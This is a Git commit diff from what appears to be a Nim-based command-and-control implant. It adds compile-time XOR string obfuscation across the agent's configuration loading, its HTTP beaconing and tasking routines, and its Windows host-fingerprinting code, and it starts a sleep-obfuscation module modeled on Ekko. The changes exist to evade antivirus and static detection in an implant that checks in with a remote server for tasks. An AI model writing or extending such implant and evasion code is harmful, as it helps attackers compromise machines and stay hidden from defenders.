Implemented compile-time string obfuscation via XOR for the agent.
This commit is contained in:
@@ -18,7 +18,7 @@ proc deserializeConfiguration(config: string): AgentCtx =
|
||||
wipeKey(aesKey)
|
||||
|
||||
if gmac != authTag:
|
||||
raise newException(CatchableError, "Invalid authentication tag.")
|
||||
raise newException(CatchableError, protect("Invalid authentication tag."))
|
||||
|
||||
# Parse decrypted profile configuration
|
||||
unpacker = Unpacker.init(Bytes.toString(decData))
|
||||
@@ -37,14 +37,14 @@ proc deserializeConfiguration(config: string): AgentCtx =
|
||||
|
||||
wipeKey(agentKeyPair.privateKey)
|
||||
|
||||
echo "[+] Profile configuration deserialized."
|
||||
echo protect("[+] Profile configuration deserialized.")
|
||||
return ctx
|
||||
|
||||
proc init*(T: type AgentCtx): AgentCtx =
|
||||
|
||||
try:
|
||||
when not defined(CONFIGURATION):
|
||||
raise newException(CatchableError, "Missing agent configuration.")
|
||||
raise newException(CatchableError, protect("Missing agent configuration."))
|
||||
|
||||
return deserializeConfiguration(CONFIGURATION)
|
||||
|
||||
|
||||
@@ -4,36 +4,36 @@ import ../../common/[types, utils, profile]
|
||||
|
||||
proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
|
||||
|
||||
let client = newAsyncHttpClient(userAgent = ctx.profile.getString("agent.user-agent"))
|
||||
let client = newAsyncHttpClient(userAgent = ctx.profile.getString(protect("agent.user-agent")))
|
||||
var heartbeatString: string
|
||||
|
||||
# Apply data transformation to the heartbeat bytes
|
||||
case ctx.profile.getString("http-get.agent.heartbeat.encoding.type", default = "none")
|
||||
case ctx.profile.getString(protect("http-get.agent.heartbeat.encoding.type"), default = "none")
|
||||
of "base64":
|
||||
heartbeatString = encode(heartbeat, safe = ctx.profile.getBool("http-get.agent.heartbeat.encoding.url-safe")).replace("=", "")
|
||||
heartbeatString = encode(heartbeat, safe = ctx.profile.getBool(protect("http-get.agent.heartbeat.encoding.url-safe"))).replace("=", "")
|
||||
of "none":
|
||||
heartbeatString = Bytes.toString(heartbeat)
|
||||
|
||||
# Define request headers, as defined in profile
|
||||
for header, value in ctx.profile.getTable("http-get.agent.headers"):
|
||||
for header, value in ctx.profile.getTable(protect("http-get.agent.headers")):
|
||||
client.headers.add(header, value.getStringValue())
|
||||
|
||||
# Select a random endpoint to make the request to
|
||||
var endpoint = ctx.profile.getString("http-get.endpoints")
|
||||
var endpoint = ctx.profile.getString(protect("http-get.endpoints"))
|
||||
if endpoint[0] == '/':
|
||||
endpoint = endpoint[1..^1] & "?" # Add '?' for additional GET parameters
|
||||
|
||||
let
|
||||
prefix = ctx.profile.getString("http-get.agent.heartbeat.prefix")
|
||||
suffix = ctx.profile.getString("http-get.agent.heartbeat.suffix")
|
||||
prefix = ctx.profile.getString(protect("http-get.agent.heartbeat.prefix"))
|
||||
suffix = ctx.profile.getString(protect("http-get.agent.heartbeat.suffix"))
|
||||
payload = prefix & heartbeatString & suffix
|
||||
|
||||
# Add heartbeat packet to the request
|
||||
case ctx.profile.getString("http-get.agent.heartbeat.placement.type"):
|
||||
case ctx.profile.getString(protect("http-get.agent.heartbeat.placement.type")):
|
||||
of "header":
|
||||
client.headers.add(ctx.profile.getString("http-get.agent.heartbeat.placement.name"), payload)
|
||||
client.headers.add(ctx.profile.getString(protect("http-get.agent.heartbeat.placement.name")), payload)
|
||||
of "parameter":
|
||||
let param = ctx.profile.getString("http-get.agent.heartbeat.placement.name")
|
||||
let param = ctx.profile.getString(protect("http-get.agent.heartbeat.placement.name"))
|
||||
endpoint &= fmt"{param}={payload}&"
|
||||
of "uri":
|
||||
discard
|
||||
@@ -43,7 +43,7 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
|
||||
discard
|
||||
|
||||
# Define additional request parameters
|
||||
for param, value in ctx.profile.getTable("http-get.agent.parameters"):
|
||||
for param, value in ctx.profile.getTable(protect("http-get.agent.parameters")):
|
||||
endpoint &= fmt"{param}={value.getStringValue()}&"
|
||||
|
||||
try:
|
||||
@@ -56,11 +56,11 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
|
||||
|
||||
# In case that tasks are found, apply data transformation to server's response body to get thr raw data
|
||||
let
|
||||
prefix = ctx.profile.getString("http-get.server.output.prefix")
|
||||
suffix = ctx.profile.getString("http-get.server.output.suffix")
|
||||
prefix = ctx.profile.getString(protect("http-get.server.output.prefix"))
|
||||
suffix = ctx.profile.getString(protect("http-get.server.output.suffix"))
|
||||
encResponse = responseBody[len(prefix) ..^ len(suffix) + 1]
|
||||
|
||||
case ctx.profile.getString("http-get.server.output.encoding.type", default = "none"):
|
||||
case ctx.profile.getString(protect("http-get.server.output.encoding.type"), default = "none"):
|
||||
of "base64":
|
||||
return decode(encResponse)
|
||||
of "none":
|
||||
@@ -77,18 +77,18 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
|
||||
|
||||
proc httpPost*(ctx: AgentCtx, data: seq[byte]): bool {.discardable.} =
|
||||
|
||||
let client = newAsyncHttpClient(userAgent = ctx.profile.getString("agent.user-agent"))
|
||||
let client = newAsyncHttpClient(userAgent = ctx.profile.getString(protect("agent.user-agent")))
|
||||
|
||||
# Define request headers, as defined in profile
|
||||
for header, value in ctx.profile.getTable("http-post.agent.headers"):
|
||||
for header, value in ctx.profile.getTable(protect("http-post.agent.headers")):
|
||||
client.headers.add(header, value.getStringValue())
|
||||
|
||||
# Select a random endpoint to make the request to
|
||||
var endpoint = ctx.profile.getString("http-post.endpoints")
|
||||
var endpoint = ctx.profile.getString(protect("http-post.endpoints"))
|
||||
if endpoint[0] == '/':
|
||||
endpoint = endpoint[1..^1]
|
||||
|
||||
let requestMethod = parseEnum[HttpMethod](ctx.profile.getString("http-post.request-methods", "POST"))
|
||||
let requestMethod = parseEnum[HttpMethod](ctx.profile.getString(protect("http-post.request-methods"), protect("POST")))
|
||||
|
||||
let body = Bytes.toString(data)
|
||||
|
||||
|
||||
3
src/agent/core/sleepmask.nim
Normal file
3
src/agent/core/sleepmask.nim
Normal file
@@ -0,0 +1,3 @@
|
||||
import winim/lean
|
||||
|
||||
# Sleep obfuscation based on Ekko (by C5pider)
|
||||
@@ -76,7 +76,7 @@ type
|
||||
SERVER = 3
|
||||
|
||||
# API Structs
|
||||
type OSVersionInfoExW {.importc: "OSVERSIONINFOEXW", header: "<windows.h>".} = object
|
||||
type OSVersionInfoExW {.importc: protect("OSVERSIONINFOEXW"), header: protect("<windows.h>").} = object
|
||||
dwOSVersionInfoSize: ULONG
|
||||
dwMajorVersion: ULONG
|
||||
dwMinorVersion: ULONG
|
||||
@@ -99,58 +99,58 @@ proc getWindowsVersion(info: OSVersionInfoExW, productType: ProductType): string
|
||||
if major == 10 and minor == 0:
|
||||
if productType == WORKSTATION:
|
||||
if build >= 22000:
|
||||
return "Windows 11"
|
||||
return protect("Windows 11")
|
||||
else:
|
||||
return "Windows 10"
|
||||
return protect("Windows 10")
|
||||
|
||||
else:
|
||||
case build:
|
||||
of 20348:
|
||||
return "Windows Server 2022"
|
||||
return protect("Windows Server 2022")
|
||||
of 17763:
|
||||
return "Windows Server 2019"
|
||||
return protect("Windows Server 2019")
|
||||
of 14393:
|
||||
return "Windows Server 2016"
|
||||
return protect("Windows Server 2016")
|
||||
else:
|
||||
return fmt"Windows Server 10.x (Build: {build})"
|
||||
return protect("Windows Server 10.x (Build: ") & $build & protect(")")
|
||||
|
||||
elif major == 6:
|
||||
case minor:
|
||||
of 3:
|
||||
if productType == WORKSTATION:
|
||||
return "Windows 8.1"
|
||||
return protect("Windows 8.1")
|
||||
else:
|
||||
return "Windows Server 2012 R2"
|
||||
return protect("Windows Server 2012 R2")
|
||||
of 2:
|
||||
if productType == WORKSTATION:
|
||||
return "Windows 8"
|
||||
return protect("Windows 8")
|
||||
else:
|
||||
return "Windows Server 2012"
|
||||
return protect("Windows Server 2012")
|
||||
of 1:
|
||||
if productType == WORKSTATION:
|
||||
return "Windows 7"
|
||||
return protect("Windows 7")
|
||||
else:
|
||||
return "Windows Server 2008 R2"
|
||||
return protect("Windows Server 2008 R2")
|
||||
of 0:
|
||||
if productType == WORKSTATION:
|
||||
return "Windows Vista"
|
||||
return protect("Windows Vista")
|
||||
else:
|
||||
return "Windows Server 2008"
|
||||
return protect("Windows Server 2008")
|
||||
else:
|
||||
discard
|
||||
|
||||
elif major == 5:
|
||||
if minor == 2:
|
||||
if productType == WORKSTATION:
|
||||
return "Windows XP x64 Edition"
|
||||
return protect("Windows XP x64 Edition")
|
||||
else:
|
||||
return "Windows Server 2003"
|
||||
return protect("Windows Server 2003")
|
||||
elif minor == 1:
|
||||
return "Windows XP"
|
||||
return protect("Windows XP")
|
||||
else:
|
||||
discard
|
||||
|
||||
return "Unknown Windows Version"
|
||||
return protect("Unknown Windows Version")
|
||||
|
||||
proc getProductType(): ProductType =
|
||||
# The product key is retrieved from the registry
|
||||
@@ -162,7 +162,7 @@ proc getProductType(): ProductType =
|
||||
# WinNT -> Workstation
|
||||
|
||||
# Using the 'registry' module, we can get the exact registry value
|
||||
case getUnicodeValue("""SYSTEM\CurrentControlSet\Control\ProductOptions""", "ProductType", HKEY_LOCAL_MACHINE)
|
||||
case getUnicodeValue(protect("""SYSTEM\CurrentControlSet\Control\ProductOptions"""), protect("ProductType"), HKEY_LOCAL_MACHINE)
|
||||
of "WinNT":
|
||||
return WORKSTATION
|
||||
of "ServerNT":
|
||||
@@ -173,7 +173,7 @@ proc getProductType(): ProductType =
|
||||
proc getOSVersion(): string =
|
||||
|
||||
proc rtlGetVersion(lpVersionInformation: var OSVersionInfoExW): NTSTATUS
|
||||
{.cdecl, importc: "RtlGetVersion", dynlib: "ntdll.dll".}
|
||||
{.cdecl, importc: protect("RtlGetVersion"), dynlib: protect("ntdll.dll").}
|
||||
|
||||
when defined(windows):
|
||||
var osInfo: OSVersionInfoExW
|
||||
@@ -190,7 +190,7 @@ proc getOSVersion(): string =
|
||||
# We instead retrieve the
|
||||
return getWindowsVersion(osInfo, getProductType())
|
||||
else:
|
||||
return "Unknown"
|
||||
return protect("Unknown")
|
||||
|
||||
proc collectAgentMetadata*(ctx: AgentCtx): AgentRegistrationData =
|
||||
|
||||
|
||||
Reference in New Issue
Block a user